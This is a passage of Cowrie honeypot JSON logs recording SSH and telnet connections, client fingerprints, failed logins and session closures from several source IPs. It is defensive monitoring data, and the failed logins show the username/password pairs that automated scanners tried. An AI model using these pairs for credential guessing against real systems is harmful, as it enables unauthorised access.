f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:50.980431Z","src_ip":"102.210.148.92","session":"38ab8d145408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas123","message":"login attempt [pruebas/pruebas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:51.975795Z","src_ip":"102.210.148.92","session":"38ab8d145408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:53.219434Z","src_ip":"102.210.148.92","session":"38ab8d145408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:54.844775Z","src_ip":"91.92.40.36","session":"7f0a688bbe3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:56.515838Z","src_ip":"91.92.40.36","session":"7f0a688bbe3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a1812562cc","protocol":"ssh","message":"New connection: 91.92.40.36:52732 (10.17.0.5:22) [session: e3a1812562cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:56.785825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:57.079771Z","src_ip":"91.92.40.36","session":"e3a1812562cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:57.109147Z","src_ip":"91.92.40.36","session":"e3a1812562cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:58.555615Z","src_ip":"91.92.40.36","session":"e3a1812562cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:00.208814Z","src_ip":"91.92.40.36","session":"e3a1812562cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"472ceb813663","protocol":"ssh","message":"New connection: 91.92.40.36:52756 (10.17.0.5:22) [session: 472ceb813663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:03.512518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:04.050598Z","src_ip":"91.92.40.36","session":"472ceb813663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:04.054517Z","src_ip":"91.92.40.36","session":"472ceb813663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"123","message":"login attempt [bob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:07.389389Z","src_ip":"91.92.40.36","session":"472ceb813663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:09.402701Z","src_ip":"91.92.40.36","session":"472ceb813663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28392,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92ba0e2e1e8","protocol":"ssh","message":"New connection: 91.92.40.36:28392 (10.17.0.5:22) [session: f92ba0e2e1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:11.164217Z"}
{"eventid":"cowrie.session.closed","duration":31.725828886032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:11.795938Z","src_ip":"107.6.151.170","session":"be75a45ba408","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:12.434645Z","src_ip":"91.92.40.36","session":"f92ba0e2e1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:12.438376Z","src_ip":"91.92.40.36","session":"f92ba0e2e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":41410,"dst_ip":"10.17.0.5","dst_port":22,"session":"31aad64d188b","protocol":"ssh","message":"New connection: 101.36.122.139:41410 (10.17.0.5:22) [session: 31aad64d188b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:12.703249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:12.707572Z","src_ip":"101.36.122.139","session":"31aad64d188b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:12.928623Z","src_ip":"101.36.122.139","session":"31aad64d188b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:13.869154Z","src_ip":"101.36.122.139","session":"31aad64d188b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:15.098927Z","src_ip":"101.36.122.139","session":"31aad64d188b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11600,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb821844ce6","protocol":"ssh","message":"New connection: 91.92.40.36:11600 (10.17.0.5:22) [session: eeb821844ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:18.073395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:18.839686Z","src_ip":"91.92.40.36","session":"eeb821844ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:18.843087Z","src_ip":"91.92.40.36","session":"eeb821844ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2024","message":"login attempt [azureuser/azureuser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:21.543922Z","src_ip":"91.92.40.36","session":"f92ba0e2e1e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:22.599456Z","src_ip":"91.92.40.36","session":"eeb821844ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:23.495279Z","src_ip":"91.92.40.36","session":"f92ba0e2e1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:24.485312Z","src_ip":"91.92.40.36","session":"eeb821844ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13516,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c2b1891a66","protocol":"ssh","message":"New connection: 91.92.40.36:13516 (10.17.0.5:22) [session: 66c2b1891a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:25.803117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:26.593491Z","src_ip":"91.92.40.36","session":"66c2b1891a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:26.596589Z","src_ip":"91.92.40.36","session":"66c2b1891a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41740,"dst_ip":"10.17.0.5","dst_port":22,"session":"31aa48257d8b","protocol":"ssh","message":"New connection: 194.113.233.25:41740 (10.17.0.5:22) [session: 31aa48257d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:28.398372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:28.404346Z","src_ip":"194.113.233.25","session":"31aa48257d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:28.498630Z","src_ip":"194.113.233.25","session":"31aa48257d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270593","message":"login attempt [root/270593] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:28.782845Z","src_ip":"194.113.233.25","session":"31aa48257d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:29.878516Z","src_ip":"194.113.233.25","session":"31aa48257d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:30.745183Z","src_ip":"91.92.40.36","session":"66c2b1891a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":37998,"dst_ip":"10.17.0.5","dst_port":22,"session":"33665cdff2e8","protocol":"ssh","message":"New connection: 89.223.69.22:37998 (10.17.0.5:22) [session: 33665cdff2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:31.296423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:31.300737Z","src_ip":"89.223.69.22","session":"33665cdff2e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:31.413054Z","src_ip":"89.223.69.22","session":"33665cdff2e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olya123","message":"login attempt [root/olya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:31.751528Z","src_ip":"89.223.69.22","session":"33665cdff2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:03:32.805666Z","src_ip":"91.92.40.36","session":"66c2b1891a66","protocol":"ssh"}
